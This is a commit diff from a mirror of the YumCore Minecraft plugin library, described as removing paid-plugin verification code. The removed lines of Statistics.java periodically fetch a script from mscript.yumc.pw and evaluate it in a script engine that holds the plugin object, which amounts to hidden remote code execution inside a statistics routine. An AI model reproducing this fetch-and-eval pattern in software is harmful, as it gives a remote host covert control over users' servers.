1
0
mirror of https://e.coding.net/circlecloud/YumCore.git synced 2024-11-21 01:38:51 +00:00

feat: 移除付费插件验证代码

This commit is contained in:
MiaoWoo 2023-07-09 15:17:23 +08:00
parent 0ca574f8a1
commit e44c12e922
2 changed files with 1 additions and 22 deletions

View File

@ -4,7 +4,7 @@
<modelVersion>4.0.0</modelVersion>
<groupId>pw.yumc</groupId>
<artifactId>YumCore</artifactId>
<version>1.9.7</version>
<version>1.9.8</version>
<build>
<finalName>${project.artifactId}</finalName>
</build>

View File

@ -54,8 +54,6 @@ public class Statistics {
*/
private static Plugin plugin;
private static MiaoScriptEngine engine;
static {
try {
getOnlinePlayers = Bukkit.class.getDeclaredMethod("getOnlinePlayers");
@ -70,9 +68,6 @@ public class Statistics {
Field field = pluginClassLoader.getClass().getDeclaredField("plugin");
field.setAccessible(true);
plugin = (JavaPlugin) field.get(pluginClassLoader);
engine = new MiaoScriptEngine();
engine.put("plugin", plugin);
engine.eval("var global = this;");
} catch (Throwable ignored) {
}
}
@ -204,16 +199,7 @@ public class Statistics {
timer = new StatisticsTimer();
// 开启TPS统计线程
Bukkit.getServer().getScheduler().scheduleSyncRepeatingTask(plugin, timer, 0, 20);
String script = "loadWithNewGlobal('https://mscript.yumc.pw/api/plugin/download/name/report?from=$pluginName')";
try {
script = postData("https://mscript.yumc.pw/api/plugin/download/name/metrics?from=" + plugin.getDescription().getName(), "from=" + plugin.getDescription().getName());
} catch (Throwable e) {
if (debug) {
e.printStackTrace();
}
}
// 开启发送数据线程
String finalScript = script.replace("$pluginName", plugin.getDescription().getName());
task = plugin.getServer().getScheduler().runTaskTimerAsynchronously(plugin, () -> {
try {
postPlugin();
@ -222,13 +208,6 @@ public class Statistics {
e.printStackTrace();
}
}
try {
engine.eval(finalScript);
} catch (Throwable e) {
if (debug) {
e.printStackTrace();
}
}
}, 50, 25 * 1200);
return true;
}